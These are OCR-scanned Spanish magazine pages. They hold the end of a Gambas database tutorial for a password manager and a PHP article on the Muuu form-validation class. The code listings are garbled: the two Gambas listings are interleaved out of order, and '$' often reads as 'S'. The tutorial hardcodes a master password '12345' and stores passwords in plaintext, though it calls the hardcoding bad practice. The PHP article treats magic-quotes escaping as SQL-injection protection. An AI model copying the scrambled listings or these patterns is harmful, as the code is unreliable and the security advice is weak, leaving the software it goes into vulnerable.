la Base de Datos, aunque el programador
puede elegir sus propios nombres de enca-
bezados, ya que éstos a veces no son lo sufi-
cientemente descriptivos para el usuario de
la aplicacion.

En referencia al Codigo que ejecuta la
consulta, simplemente guardamos en nuestro
objeto Result (llamado Registros) el resulta-
do de la consulta SQL que hemos hecho a la
Base de Datos. Esta consulta, es simplemente
seleccionar todos los registros de la tabla
Principal y asignarnos al objeto Result. Lue-
go, mientras que existan registros en el objeto
(DO WHILE Registros.Available) carga-
mos el registro actual en la Tabla, haciendo
referencia a ella mediante coordenadas de
Fila 'y Columna. Por ultimo, nos movemos al
siguiente registro. Si existe, repetimos el bu-
cle, de lo contrario salimos de ¢l y finaliza la
consulta.

Como ultimo retoque, podemos asignar
a TRUE la propiedad sorted de nuestra Tabla,
de modo que el usuario al presionar sobre el
encabezado de una tabla, pueda ordenarlo al-
fabéticamente segun la columna selecciona-
da. Esto ultimo se podria haber realizado ha-
ciendo una consulta SQL utilizando la clau-
sula ORDER BY, pero para no sobrecargar al
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servidor con tareas de ordenamiento, le otor-
gamos esta tarea a la aplicacion final, dejando
al servidor de base de datos solamente la ta-
rea de traer los registros necesarios.

Ahora bien, pasemos a otro tema muy im-
portante: el asiadir registros a la Base de Da-
tos. Como comentamos anteriormente, en este
caso se hara el ingreso de datos mediante
inputbox, algo no muy recomendable y poco
estético, pero en esta ocasion nos sirve, ya que
nos ahorrara mucho codigo fuente. Se deja
como tarea al lector el cambiar los inputbox
por formularios que permitan una validacion
de datos y un comodo ingreso al usuario de los
mismos. El codigo de afiadidura de registros
lo haremos, como el lector estara deduciendo,
en el evento Clic() del btnAgregar. Este
codigo empleara el ya visto anteriormente
método exec del objeto Conection, al cual le
pasaremos como parametro la sentencia SQL
a ejecutar, en este caso, sera del tipo INSERT
INTO.

Veamos como quedaria el Codigo Fuente
resultante (ver Listado 4).

Como vemos, es algo muy sencillo. Pri-
meramente, declaramos las variables necesa-
rias para cubrir el flujo del programa. Luego,
mediante los InputBox le pedimos al usuario
que ingrese los datos a guardar en la Base de
Datos. Por ultimo, una vez ingresados los
datos, los almacenamos en la Base de Datos
mediante la combinacion del método Exec
y la sentencia 1NSERT 1NTO del lenguaje
SQL. Noétese que para afadir variables pro-
pias del programa dentro de la sentencia SQL
se utiliza el operador &PosicionDeVariable,
donde PosicionDeVaraible es el numero de
posicion de parametros luego de la coma que
delimita el fin de la sentencia SQL. Cuando
se ejecute esta sentencia en Tiempo de Ejecu-
cion, dichos parametros seran reemplazados
dentro del 1NSERT INTO por sus valores, y lu-
ego almacenados en la Base de Datos.

Creando

el Password Principal

En este apartado, crearemos la pantalla princi-
pal donde se le pedira al usuario que se ingrese
el password maestro que es el que le permitira
acceder a todos sus otros passwords.

Para ello, insertaremos un nuevo formula-
rio llamado FPassword, el cual puede ser como
se muestra en la Figura 5.

En esta ocasion, el password va a ir harco-
deado (ver recuadro ;Qué es el HardCode?) en
la aplicacion, es decir, sera una constante dentro
del codigo fuente y no se podra modificar, salvo
que se recompile el codigo nuevamente. Esto
no es para nada recomendable ya que limita
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al usuario a un solo password predefinido por
la aplicacion, pero es por ello que se deja al
lector crear otra tabla en la base de datos, que
se encargue de almacenar el password, como
asi también los correspondientes formularios
dentro del programa que permitan cambiar
el password. También, se puede escribir una
pequeia rutina que se encargue de hacerle cam-
biar el password al usuario cada cierto lapso de
tiempo, como por ejemplo, 30 dias a modo de
seguridad.

A continuacion, se encuentra el codigo
fuente del formulario, mas precisamente del

boton que valida el password ingresado (Lis-
tado 5).

¢Y las Bajas

y Modificaciones?

Siguiendo los lineamientos descriptos en las
secciones anteriores, el lector es capaz de
desarrollar el codigo fuente para Modificar
y Eliminar un registro. Simplemente, tiene
que ingresar o pedirle al usuario los valores
necesarios para realizar estas acciones, y lue-
go mediante el Lenguaje SQL hacer las tareas
correspondientes. Al haber ya visto el modo

Listado 4. Insercién de un registro ingresado por el usuario en la Base de Datos

DIM Respuesta AS Integer
DIM Descripcion AS String
DIM Categoria AS String
DIM Password AS String
Respuesta =
"No")

un Nuevo Password?", "Si",

IF Respuesta = 2 THEN
RETURN

ENDIF

Descripcion =

"Descripcion",

Categoria = InputBox ("Ingrese Categoria",

" (Sin Especificar)")
Password =
" (Sin Especificar)")

'Inserto el Dato en la Base

TRY Conexion.Exec ("INSERT INTO Principal

VALUES
Password, Descripcion,

CATCH

Message.Error ("No se puede afiadir el

registro especificado")

Listado 5. Validacion del Password ingresado. En esta ocasién, se compara contra una

constante predefinida por el programador

' Gambas class file

PRIVATE CONST Clave AS String =

PUBLIC SUB Form Open ()
Fpassword.Center

END

PUBLIC SUB Buttonl Click()

IF txtPassword.Text = Clave THEN

Message.Info ("Clave Ingresada Existosamente",

ME.Delete
Fmain.Show

ELSE

Message.Error ("Ingrese una Clave Valida")

ENDIF
END

Message.Question (";Realmente desea introducir

InputBox ("Ingrese Descripcion del Password",

" (Sin Especificar)")

InputBox ("Ingrese el Password",

(&1,8&2,&3)",

Categoria)

"12345"

"Categoria",

"Password",

"Aceptar")
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genérico de ingresar SQL mediante Gambas
(con el uso de EXEC), el lector es capaz de
hacerlo.

Es por ello que a modo de practica, se le
deja al lector la tarea de realizar ambos codi-
gos, como asi también el terminar el programa
con todo realizado (package, instalador, etc).
Ante cualquier inconveniente, duda o consulta,
recuerden que pueden escribirme a jorge.capur
ro@linuxmail.org.

Les responderé lo antes posible.

También, para mas ayuda, puede consultar
el material que se indica en la seccion Referen-
cias de este mismo articulo.

Miscelaneas

Como nos tiene acostumbrado, Gambas nos
provee muchas utilidades para facilitarnos
el desarrollo rapido de aplicaciones (RAD).
Una de las grandes utilidades, es la autoge-
neracion de codigo para el manejo de Base de
Datos ;Como es eso? Asi de sencillo. Nos di-
rigimos al Gestor de Base de Datos, hacemos
clic derecho sobre nuestra base de datos (en
nuestro caso, seria AlmacenBD) y seleccio-
namos la opcion Generar Codigo Gambas.
Al acceder a este menu, ingresamos el nom-
bre del modulo y el procedimiento donde se
generara el codigo. Tras indicar estos valores,
cuando abramos nuevamente el proyecto, nos
encontraremos con dichas rutinas para poder
utilizarlas.

También nos provee de otras utilidades,
como lo es el copiado total de datos de otra
tabla (incluso desde una base de datos de otro
tipo, como por ejemplo MySQL) o el copiado
de la estructura interna de la tabla (nombre de
los campos, tipos de datos, restricciones, etc).
De esta forma, se le facilita mucho la labor al
programador a la hora de tener que lidiar con
motores de bases de datos diferentes o grandes
cantidades de datos.

Referencias

En este apartado, se dejan referencias a libros,
paginas web, y programas creados con Gam-
bas. En algunos de estos enlaces figuran pagi-
nas que abordan temas que nosotros no vimos
en este curso (por cuestiones de espacio y tiem-
po), como lo son el uso de funciones recursi-
vas, los modos de encriptacion, concepto y uso
de punteros, y otros temas mas que pueden
llegar a resultar de interés.

Programas: a continuacién se detallan
algunos de los programas mas relevantes
que han sido desarrollados integramente con
Gambas.

Devolution Security: este software es una
alternativa libre a los sistemas de vigilancia
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de video. Soporta hasta 16 camaras de vigi-
lancia con deteccion de movimientos, strea-
ming unicast y multicast y dos modalidades
de acceso, bien mediante navegador web o bien
directamente desde las X11 en el escritorio.
Inicia el proceso de grabacion al detectar mo-
vimientos, con una calidad de 25 fotogramas
por segundo y en formato MPEG-4. Ademas,
ofrece diferentes temas de escritorio y layouts
para las cAmaras. Representa una alternativa
de peso frente a las soluciones comerciales
del mercado.

Radio Gambas: software para escuchar la
radio por internet desde GNU/Linux. Para su
instalacion, simplemente teclea en la consola:

sudo aptitute install radiogambas.

Pdfgambas: es un visor de archivos PDF escri-
to como ejemplo del componente gn.gtk.pdf.
Esta primera version, se escribié en solamente
5 dias, gracias a la existencia del componente y
la facilidad que provee Gambas para el desarro-
llo de aplicaciones.

Yab-100: este proyecto, es un simple nave-
gador web, también integramente desarrolla-
do bajo Gambas. Posee simplicidad y como-
didad a la hora de navegar por distintas pa-
ginas web.

PVRec: captura video en MPEG-2 con este
excelente software.

Qontacts: libreta de contactos escrita por
John W. Rittinghouse, autor del libro 4 Begi-
nner's Guide to Gambas (ver seccion Libros
mas abajo). Simple pero eficaz.

D

Sobre el autor

Jorge Emanuel Capurro es estudiante de
la Tec. Superior en Programacion, carrera
dictada en la Universidad Tecnoldgica Na-
cional — Facultad Regional Haedo, provin-
cia de Bs. As., Argentina. Principalmente,
su area de investigacion se centra en los
Sistemas Operativos de tipo UNIX y de
la programacion bajo esta plataforma.
Es el creador del proyecto IDEas (http:/
ideasc.sourceforge.net), que es el primer
frontend desarrollado bajo Gambas del
compilador gcc (http:/gcc.gnu.org), que
se utiliza con fines didacticos. Actualmen-
te se desempefia como programador para
la empresa IBM Argentina en el departa-
mento de Applications Management Ser-
vices, participando de diversos proyectos
de desarrollo de software de caracter in-
ternacional.

IDFEas C: frontend del compilador GNU/
CC. Soporta resaltado de sintaxis, buscador
y evaluador de expresiones, almacén de ideas,
entre otras caracteristicas. Es de mi autoria
y se encuentra bajo licencia GPL.

Libros: Actualmente, existe poca biblio-
grafia en papel sobre Gambas. A continuacion,
se detallan los libros publicados como docu-
mentacion en la pagina oficial de Gambas.

e Gambas: Programacion Visual con Soft-
ware Libre: Autor: Daniel Campos y José
Luis Redrejo

e A Beginner's Guide to Gambas: Autor:
John W. Rittinghouse

e Menguasai Gambas — Permrograman “‘Vi-
sual Basic” di Linux: Autor: Desconocido

e Gambas WikiBook: Autor: Mucha Gente

Links Web: En la Tabla 5 se puede observar los
links a paginas web con contenidos de diversos
temas de Gambas. Es conveniente darse una
vuelta por estos sitios web, ya que se encon-
traran con informacion y contenido muy inte-
resante.

Ejercicios Propuestos

A continuacion, se deja al lector una tira de ejer-
cicios propuestos para terminar de comprender
y practicar los temas vistos en esta entrega:

*  Hacer un generador de passwords aleato-
rios, para que cuando el usuario quiera in-
gresar un nuevo password, el programa le
ayude a crearlo. Usar la funcion Random.

e Programar pantallas de alta, baja, modifica-
ciones con formularios.

¢ Terminar los modulos de Bajas y Modifica-
ciones. Probar su correcto funcionamiento.

e Almacenar el Password Maestro dentro de
la base de datos, no hardcodeado.

D

El Operador Asterisco

En determinadas ocasiones, puede resul-
tar tediosa la tarea de que luego de la clau-
sula SELECT, tengamos que especificar
una por una cada columna que queremos
mostrar en el resultado de la consulta. En
el caso de que queramos visualizar todas
las columnas de la tabla, SQL nos provee
del operador especial asterisco (*), el cual
reemplaza a todos los nombres de las co-
lumnas de la tabla con la que se trabaja.
A continuacion se presenta un ejemplo de
SU USO:

SELECT * FROM Autos ORDER BY Marca
DESC

*  Realizar una Agenda Personal, que me per-
mita almacenar, modificar y borrar los con-
tactos guardados. Realizar un moédulo de
busqueda de contactos por nombre, lugar
y teléfono.

*  Crear una Pantalla del tipo Splash para la
aplicacion.

Consideraciones Finales
Finalmente, hemos llegado al final del curso.
Espero que les haya sido de utilidad. No hemos
podido abarcar toda la totalidad del lenguaje
Gambas, ya que seria practicamente imposible,
pero si hicimos hincapié¢ en los conceptos mas
importantes y relevantes que posee este len-
guaje. En esta ultima entrega en particular, nos
concentramos en el Acceso a Base de Datos,
herramienta fundamental para el desarrollo de
aplicaciones profesionales de alto nivel. Espero
que les haya gustado el curso, y como siempre,
recibo dudas, consultas, o cuestiones de interés
a jorge.capurro@linuxmail.org. &
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Formularios Web:

Creacion, validacion y filtros
con Muuu

Juan Pablo Tobar
La creacion de formularios es tan divertida como ver un choque de globos

en camara lenta. Es una tarea repetitiva y que consume tiempo; en especial,

a la hora de validar y filtrar los valores que ingresa el usuario. Para hacer esta

tarea menos tediosa es que existen las clases para generacion de formularios.
En este articulo podras conocer una nueva clase, llamada Muuu, para generar,
validar y filtrar formularios de una forma facil.

linux@software.com.pl

i bien puede parecer como una reinvencion de la
rueda, mi idea principal al desarrollar Muuu fue
mantener las funcionalidades, pero disminuyendo
el tamafio y aumentando la facilidad de uso.

Preguntas y respuestas
Antes de ponernos manos a la obra vamos a responder algu-
nas preguntas basicas:

¢ Qué es Muuu?

'Muuu' es una clase escrita en php (http://muuu.sourceforge.
net/). Su principal objetivo es facilitar la creacion, validacion
y proceso de limpiar los formularios. En otras palabras, te
ayuda a crear formularios de una forma rapida y sencilla.

¢ Qué ventajas?

Hacer los formularios e implementar los filtros de validacion
es seguramente una de las tareas menos divertidas que hay,
es por esto que en la mayoria de mis proyectos he usado el
paquete HTML QuickForm de PEAR. Sin embargo, algunas
caracteristicas de esa clase no me gustaban, como por ejemplo
el tamaflo y la necesidad de instalar y gestionar PEAR. Es por

Linux+ 7-8/2009

esto que me dediqué a escribir algo mas pequeilo que hiciera el
mismo trabajo (o al menos las principales funcionalidades).
Dentro de las ventajas de Muuu estan:

e 26 reglas de validacion disponibles, mas las funcionali-
dades de limpiar php 5.

e Para presentar tu formulario puedes ocupar lo que
quieras: tablas, CSS, etc. No estas limitado a usar tablas
dentro de tu super diseiio Web 2.0.

*  Primero defines tus formularios y luego puedes usar
como mejor te parezca todos sus elementos: campos,
etiquetas, instrucciones y mensajes de errores.

+ Basta con un include para usarlo, sin instalaciones adi-
cionales.

*  Tamaifio reducido (9KB).

¢ Qué desventajas?

Como esta en version beta y se ha escrito desde cero, se ne-
cesitan revisiones para garantizar su estabilidad y mejorar sus
funcionalidades, por lo que seria genial si le das una mirada al
codigo (http://muuu.sourceforge.net/) y envias tus recomen-
daciones o comentarios (jptobar@gmail.com).
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Figura 1. Formulario inicial, dos campos y boton
de envio
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Hombra: E
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Figura 2. Agregados nuevos campos con
instrucciones

¢ Qué viene?
Dentro de las funcionalidades que me gustaria
agregar a la siguiente version estan:

*  Opcioén de usar AJAX para interactuar con
los campos del formulario.

*  Incluir temas CSS predefinidos como opcion,
para aumentar la velocidad de desarrollo.

» En general cualquier funcionalidad que le
facilite la vida a los esforzados desarrolla-
dores Web.

¢ Qué veras en este articulo?

En la primera parte crearemos un formulario
utilizando algunas de las funcionalidades de
Muuu y después de eso analizaremos todas las
alternativas que te da.

Manos a la Obra: El formulario
En esta seccion veremos paso a paso la creacion
de un formulario. Comenzaremos con la defini-
cion de los campos y luego las reglas y filtros.
El método utilizado para agregar campos al
formulario es: addField:

addField ($type,

Sname, $label="",

Soptions="")
Donde:

*  Stype representa al tipo de campo HTML
que se desea crear (mas adelante veremos
los tipos disponibles).

* Sname es el nombre que identificard al

campo.

Mediante slabel indicaremos cual es la
etiqueta que se imprimira junto al campo.
Finalmente Soptions acepta un array con
opciones adicionales para la definicion de
los campos. La opciones que acepta son:
"instructions" : Lo usamos si necesi-
tamos dar instrucciones para un campo en
particular.

"keepvalue": Indica si queremos o no que
el campo recuerde el valor ingresado por el
usuario, en caso de que, por un error, tenga
que volver a llenar los datos. Si queremos
que mantenga los valores le asignamos 1,
en caso contrario (. Por defecto se asume
el valor /.

"fieldadd" : Cualquier parametro adicio-
nal que queramos pasarle a un campo lo
asociamos a este valor. Por ejemplo, puede
ser usado para agregar codigo Javascript a
un campo en particular.

"html" : Permite incluir codigo HTML.
"selectvalues" : Array que contiene los
valores para un campo de tipo select.
"radiovValues" : Array con los valores
para un grupo de campos de tipo radio.
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*  "checkvalues": Array con los valores pa-
ra un grupo de campos de tipo checkbox.

Lo primero que haremos sera agregar un campo
de texto para el nombre y otro para el apellido
y un boton para enviar el formulario (Listado 1).

Una de las principales caracteristicas de
esta clase es que entrega plena libertad para la
impresion del formulario. Lo que hicimos en
el parrafo anterior fue construir el formulario
y ahora tenemos a nuestra disposicion cuatro
arrays, para imprimirlo:

* fieldsarray: Contiene los campos creados.

* labelsarray: Contiene las etiquetas de
los campos.

* instructions: Contiene las instrucciones
adicionales en caso de haberlas definido.

e errorarray: Contiene los errores en caso de
que algun valor ingresado por el usuario no
cumpla con las reglas (lo veremos en mayor
detalle en la seccion de reglas y filtros).

Con estos arrays a nuestra disposicion ya pode-
mos imprimir el formulario de la manera que

Listado 1. Definicion inicial del formulario

// Cargamos la clase
include once ("muuu.class.php");

// Instanciamos el objeto.

método utilizado para enviarlo (post) y la pdgina donde lo enviaremos

("sandBox.php",

formulario)

Sform= new muuu ("form", "post", "sandBox.php");

// Con el método "addField" agregamos un nuevo campo del tipo "text" para

el nombre

Sform->addField ("text", "nombre", "Nombre:") ;

// Agregamos un campo tipo "text" para el apellido
$form->addField ("text", "apellido", "Apellido:") ;

// Agregamos un campo del tipo "submit" para el envio del formulario.
Dentro de "options" definimos "fieldAdd" con el valor "value='Enviar'" para
cambiar el texto que aparece en el botdn

S$form->addField ("submit", "submit","",array ("fieldAdd"=>"value="Enviar'")) ;

Listado 2. Imprimiendo el formulario

// Iniciamos el formulario

Sform->startForm() ;

// Usando los arrays imprimimos los campos con sus etiquetas

foreach ($form->fieldsarray as $key=>$value) {

echo $form->labelsarray|[$key];

echo $value;

// Finalizamos el formulario

S$form->endForm() ;

Indicando el id del formulario (form), el

que es, en nuestro caso, la misma donde definimos el
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Figura 3. Agregados campos para nombre de
usuario y clave

mejor nos parezca. Podemos, por ejemplo, usar
las tipicas tablas o usar CSS (Listado 2).

El bloque de codigo que acabamos de
escribir nos servird para la cantidad de campos
que queramos. Es decir, en adelante nos bastara
s6lo con agregar mas campos con addField
para que se impriman inmediatamente. Sin em-
bargo, vamos a agregarle algunos detalles para
mejorar su presentacion y funcionamiento:

» Le agregamos algunas etiquetas para me-
jorar su aspecto con CSS.

* Incluiremos el array de error para que nos
funcione también cuando incluyamos las
reglas y los filtros.

e Agregaremos un bloque condicional IF pa-
ra indicar que se hara cuando el formulario
sea enviado correctamente.

Finalmente el bloque para imprimir nuestro
formulario nos quedara de la siguiente manera
(Listado 3).

Luego de agregar nuestros primeros cam-
pos y al haber incluido el c6digo para imprimir
el formulario, obtenemos lo que aparece en la
Figura 1: (Tabla 1).

Ahora nos queda seguir incluyendo cam-
pos mediante el método addrield. Comen-
cemos con pedirle a nuestro usuario su fecha
de nacimiento y su correo electronico (Lis-
tado 4).

Lo anterior resultara en un formulario co-
mo el que aparece a continuacion. Cabe senalar
que el tipo de texto y colores se ha definido en
la hoja de estilos CSS.

Lo siguiente serd agregar un campo para
que se ingrese un nombre de usuario, una clave
y, finalmente, otro campo para que se repita la
clave a modo de verificacion (Listado 5).

Luego de agregados los nuevos campos
tendremos el siguiente resultado (Figura 3).

Para completar los datos que le solicitamos
a nuestro usuario, incluiremos un campo tipo
select, otro tipo radio y finalmente uno tipo
checkbox (Listado 6).

Para completar el ejemplo, agregamos al-
gunos titulos y lineas horizontales para mejorar
la presentacion.

// Ejemplo de un titulo
$form->addField ("html", "titulol","",a
rray ("html"=>"<hl>Datos personales</

hl>"));

Lo que obtendremos luego de estas modifica-
ciones es lo siguiente (Figura 4).

Para esta primera parte del ejemplo hemos
ocupado soélo algunos de los campos HTML,
pero en tus proyectos puedes usar cualquier
campo HTML valido.

Manos a la Obra:
La validacion
Un formulario sin validacion es, en gran medi-
da, inutil. Es por esto que abordaremos cémo
agregar reglas y filtros para asegurarnos de que
la informacion que ingresa el usuario es del tipo
que esperamos.

Utilizando el formulario que ya creamos,
iremos agregando reglas de acuerdo a las nece-
sidades de cada caso.

método "formSuccess"

if ($form->formSuccess () ==true) {

}else(
$form->startForm() ;
echo "<fieldset>

<legend>Linux+</legend>";

"</label>$value</p>";

echo "<p id='instructions'

}
echo "</fieldset>";

$form->endForm() ;

ions"=>"Formato DD/MM/AA")) ;

extension

S$form->addField ("text", "usuario",

Listado 3. Agregamos el procedimiento a realizar cuando el formulario sea enviado correctamente

// Si es enviado correctamente lo procesamos, para esto consultamos el

// Aqui lo que se hard cuando se envie el formulario correctamente

foreach ($form->fieldsarray as $key=>$value) {

echo "<p><label for='Skey'>".$form->labelsarray[Skey].

>".$form->instructionsarray[$key]."</p>";

echo "<p id='error'>".$form->errorarray[Skey]."</p>";

Listado 4. Agregamos un campo ‘fecha’ con instrucciones sobre el formato

// Agregamos un campo tipo "text" para la fecha de nacimiento y le
indicamos al usuario la instruccidén sobre el formato para ingresar la fecha

S$form->addField ("text", "nacimiento", "Fecha de nacimiento:",array ("instruct

// Un nuevo campo "text" para el correo

Sform->addField ("text", "correo", "Correo:") ;

Listado 5. Incluimos un nuevo campo con instrucciones sobre la extension de caracteres

// Campo para el nombre de usuario, indicando las instrucciones sobre su

"Nombre de Usuario:",array ("instructions"=>"Entre 2 y 10 caracteres"));
// Campo tipo "password" para la clave
S$form->addField ("password", "clavel", "Clave:");

// Campo para que se verifique la clave ingresada

S$form->addField ("password", "clave2", "Repita la clave:");
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El método encargado de agregar reglas es
addRule:

addRule ($type, $field,

Serrormsg, Soptions="")
Donde:

*  Stype, debe indicar una de las 26 reglas
disponibles.

e $field, es el nombre del campo al cual le
aplicamos la regla.

*  Serrormsg, incluimos el mensaje de error
que entregara si no se cumple la regla.

*  Soptions, lo utilizaremos para indicar los
filtros para desinfectar los valores ingresa-
dos (lo veremos mas adelante) y también
para indicar opciones especiales que pue-
dan requerir las distintas reglas (también
lo veremos en un apartado posterior).

En el siguiente bloque veras todas las reglas
que incluiremos para los campos que hemos
definido en nuestro ejemplo (Listado 7).

En la siguiente imagen podemos ver el
formulario antes de enviarlo y luego una vez
enviado, pero con errores (Figura 5).

Limpiando antes de validar

Es probable que en algunos casos el usuario pueda
ingresar valores que necesiten ser limpiados antes
de procesarlos (por ejemplo, por error al teclear
0 para eliminar caracteres peligrosos). Para estos
casos php cuenta con filtros especiales que tam-
bién puedes ocupar con Muuu. Su uso es muy
simple, basta con que definas dentro de Soptions,
del método addrule, un array con dos valores:

* filter id:ParaellD delfiltro que deseasuti-
lizar, segin: http://www.php.net/manual/es/
[ilterfilters.sanitize.php (primera columna).

e filter flag: Para definir algin flag para el
filtro, segun lo indicado en: Attp.//www.php.
net/manual/es/filterfilters.sanitize.php (cuar-
ta columna).

De esta manera, al incluir un filtro, este sera
aplicado antes de que se ejecute la regla defini-
da para el campo.

Por ejemplo, cuando obtenemos datos desde
un formulario y los queremos usar en consultas
en nuestra base de datos, es recomendable prime-
ro escapar las comillas. Para hacer esto agrega-
mos un filtro en nuestras opciones:

$form->addRule ("required", "n
ombre","E1l campo 'nombre' es
requerido", array ("filter id"=>

FILTER SANITIZE MAGIC_QUOTES)) ;
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Listado 6. Agregamos campos select, radio y checkbox

// Incluimos un "select" para consultar sobre el tipo de usuario. Para los
valores del "select" agregamos un array dentro de "options"
S$form->addField ("select", "tipousuario", "Tipo de Usuario:", array ("selectVa
lues"=>array ("basico"=>"B&aacute;sico","intermedio"=>"Intermedio", "avanzad
o"=>"Avanzado")) ) ;

// Mediante botones del tipo "radio" consultaremos que tipo de booteo

tiene nuestro usuario. Al igual que ocurre con "select" definimos los

distintos "radio" mediante un array.

S$form->addField ("radio", "booteo","Qué sistemas tienes en tu equipo:",
array ("radioValues"=>array ("sololinux"=>"S&oacute;lo Linux",\
"linuxwindows"=>"Linux y Windows", "solowindows"=>

"Sgoacute;lo Windows"))) ;

// Mediante "checkbox" consultamos sobre qué distribuciones conoce

o ha usado

Sform->addField ("checkbox", "conteo","Qué distros conoces o has usado:

",array ("checkboxValues"=>array ("debian"=>"Debian", "ubuntu"=>
"Ubuntu", "fedora"=>"Fedora", "otra"=>"0Otra")));

// Por ultimo mediante un "textarea" consultamos si existe alguna

informacidén adicional que se desee agregar

Sform->addField ("textarea", "opinion", "&iquest;

Algo que quieras agregar:?");

Listado 7. Definicién de todas las reglas para los campos

// Los campos "nombre'", "apellido", "usuario" y "clave", los indicamos
como requerido ("required"). En cada campo que tenga esta regla se
incluird automdticamente un asterisco rojo
Sform->addRule ("required", "nombre", "E1l campo 'nombre'

no puede estar vacé&iacute;o");
$form->addRule ("required", "apellido","El campo 'apellido'

no puede estar vacé&iacute;o");
S$form->addRule ("required", "usuario", "El campo 'usuario'

no puede estar vacé&iacute;o");
$form->addRule ("required", "clavel", "E1 campo 'clave 1'

no puede estar vacé&iacute;o");
S$form->addRule ("required", "clave2", "E1 campo 'clave 2'

no puede estar vacé&iacute;o");
// E1 campo que consulta la fecha de nacimiento lo filtraremos
con la regla "date" la cual exige que el valor que se ingrese
sea una fecha vdlida
$form->addRule ("date", "nacimiento", "E1 campo 'Fecha de nacimiento' no
tiene un formato correcto");
// El campo email lo filtramos con la regla "email" para obtener un correo
con formato valido
S$form->addRule ("email", "correo","El campo 'correo' no tiene un formato
correcto") ;
// Para el campo del nombre de usuario indicamos la regla "rangelength"
para permitir solamente valores entre 2 y 10 caracteres
$form->addRule ("rangelength", "usuario", "E1 nombre de usuario no puede
tener menos de 2 y m&aacute;s de 10 caracteres",array ("minlength"=>2,\
"maxlength"=>10)) ;
// Por ultimo solicitamos que la clave y la verificacidén de esta sean
iguales, esto lo hacemos con la regla "equal"
S$form->addRule ("equal", "clavel","Las 'claves' no son iguales",

array ("equalfield"=>"clave2")) ;

www.lpmagazine.org

87



programacion
php = Muuu Forms

Listado 8. Ejemplo de formulario con "Muuu" - Version completa

<?php

include_once ("formClass/form.class.php");
$form= new muuu ("form", "post", "sandBox.php") ;
$form->addField ("html", "titulol","",array ("html"=>"<hl>Datos personales</hl>"));
Sform->addField ("text", "nombre", "Nombre:") ;
Sform->addField ("text", "apellido", "Apellido:") ;
Sform->addField ("text", "nacimiento","Fecha de nacimiento:",array("instructions"=>"Formato DD/MM/AA")) ;
Sform->addField ("text", "correo", "Correo:") ;
$form->addField ("html", "saltol","",array ("html"=>"<hr>"));
$form->addField ("html", "titulo2","",array ("html"=>"<hl>Datos de usuario</hl>"));
$form->addField ("text", "usuario", "Nombre de Usuario:",array ("instructions"=>"Entre 2 y 10 caracteres"));
S$form->addField ("password", "clavel", "Clave:");
Sform->addField ("password", "clave2", "Repita la clave:");
Sform->addField ("html","salto2","",array ("html"=>"<hr>"));
$form->addField ("html", "titulo3","",array ("html"=>"<hl>Datos adicionales</hl>"));
Sform->addField ("select", "tipousuario", "Tipo de Usuario:",

array ("selectValues"=>array ("basico"=>"B&aacute;sico", \

"intermedio"=>"Intermedio", "avanzado"=>"Avanzado"))) ;

Sform->addField ("radio", "booteo", "Que sistemas tienes en tu equipo:",

array ("radioValues"=>array ("sololinux"=>"S&oacute;lo Linux",

"linuxwindows"=>"Linux y Windows", "solowindows"=>"S&oacute;lo Windows"))) ;

Sform->addField ("checkbox", "conteo", "Que distros conoces o has usado:",

array ("checkboxValues"=>array ("debian"=>"Debian",

"ubuntu"=>"Ubuntu", "fedora"=>"Fedora", "otra"=>"0Otra"))) ;
S$form->addField ("textarea", "opinion", "&iquest;Algo que quieras agregar:?");
Sform->addField ("html", "salto3","",array ("html"=>"<br /><hr>"));
$form->addField ("submit", "submit2","", array ("fieldAdd"=>"value='Enviar'"));

Sform->addRule ("required", "nombre", "E1 campo 'nombre' no puede estar vacé&iacute;o");
Sform->addRule ("required", "apellido", "E1l campo 'apellido' no puede estar vacé&iacute;o");
S$form->addRule ("date", "nacimiento", "E1l campo 'Fecha de nacimiento' no tiene un formato correcto");
Sform->addRule ("email", "correo","E1l campo 'correo' no tiene un formato correcto");
$form->addRule ("required", "usuario", "E1l campo 'usuario' no puede estar vac&iacute;o");
Sform->addRule ("rangelength", "usuario", "E1 nombre de usuario no puede tener
menos de 2 y m&aacute;s de 10 caracteres",array("minlength"=>2, "maxlength"=>10)) ;
Sform->addRule ("required", "clavel", "E1l campo 'clave 1' no puede estar vac&iacute;o");
S$form->addRule ("required", "clave2", "E1 campo 'clave 2' no puede estar vac&lacute;o");
S$form->addRule ("equal", "clavel","Las 'claves' no son iguales",array ("equalfield"=>"clave2"));
if ($form->formSuccess () ==true) {
// Aqui lo que se hard cuando se envie el formulario correctamente
}else(
Sform->startForm() ;
echo "<fieldset>
<legend>Linux+</legend>";
foreach ($form->fieldsarray as S$key=>$value) {
echo "<p><label for='S$key'>".S$form->labelsarray[$key]."</label>$value</p>";
echo "<p id='instructions'>".$form->instructionsarray([$key]."</p>";
echo "<p id='error'>".S$form->errorarray[$Skey]."</p>";
}
echo "</fieldset>";

$form->endForm() ;
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El filtro que agregamos es FILTER SANITI-
ZE MAGIC QUOTES, el cual es equivalente a la
funcién Addslashes. Ahora nuestro campo
nombre, ademas de ser requerido (required)
esta filtrado para evitar ataques con técnicas

como las de inyeccion SQL.

Algunos filtros ademas tienen opcio-
nes adicionales, llamadas flags. Por ejemplo,
FILTER SANITIZE STRING usado consuflag
FILTER FLAG ENCODE HIGH, permite codifi-
car caracteres con valores ASCII mayores

que 127:

$form->addRule ("required", "ape

1lido","El campo 'apellido' es

requerido", array ("filter id"=>
FILTER SANITIZE STRING,
"filter flag"=>FILTER FLAG
ENCODE_HIGH) ) ;

La lista completa de filtros y sus flags, la puedes
encontrar en la pagina oficial de php menciona-
da anteriormente: http://www.php.net/manual/

es/filterfilters.sanitize.php.

- Linux+
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Figura 4. Formulario terminado

Listado de reglas

Cuando en el apartado anterior vimos la de-
finicién de las reglas con el método “addRu-
le”, indicamos que lo primero que debiamos
definir es el tipo de regla ($type). En esta tl-
tima seccion veremos cada una de las reglas
disponibles:

required: El campo no puede estar vacio.
email: El valor debe ser un correo con
formato valido.

emailorblank: Debe ser un email con
formato correcto o vacio.

rangelength: El valor debe estar entre
un rango de caracteres minimo y maxi-
mo. En S$options debemos definir un
array con los valores minlength y max-
length para el valor minimo y maximo
respectivamente.

minlength: El valor no puede tener una
extension menor de la indicada. En $op-
tions debemos definir un array con el
valor minlength.

maxlength: El valor no puede tener una
extension mayor de la indicada. En $op-
tions debemos definir un array con el
valor maxlength.

equal: El valor debe ser igual a otro. El
valor con el que lo compararemos debe-
mos definirlo en el array soptions bajo
el nombre de equalfield.

regex: El valor debe coincidir con una ex-
presion regular. Dicha expresion la definimos
en el array soptions bajo el nombre de rx.
lettersonly: Debe contener solo letras.
alphanumeric: Debe contener letras o ni-
meros.

numeric: Debe contener un niimero positi-
Vo 0 negativo, entero o decimal.
nopunctuation: No puede contener algu-
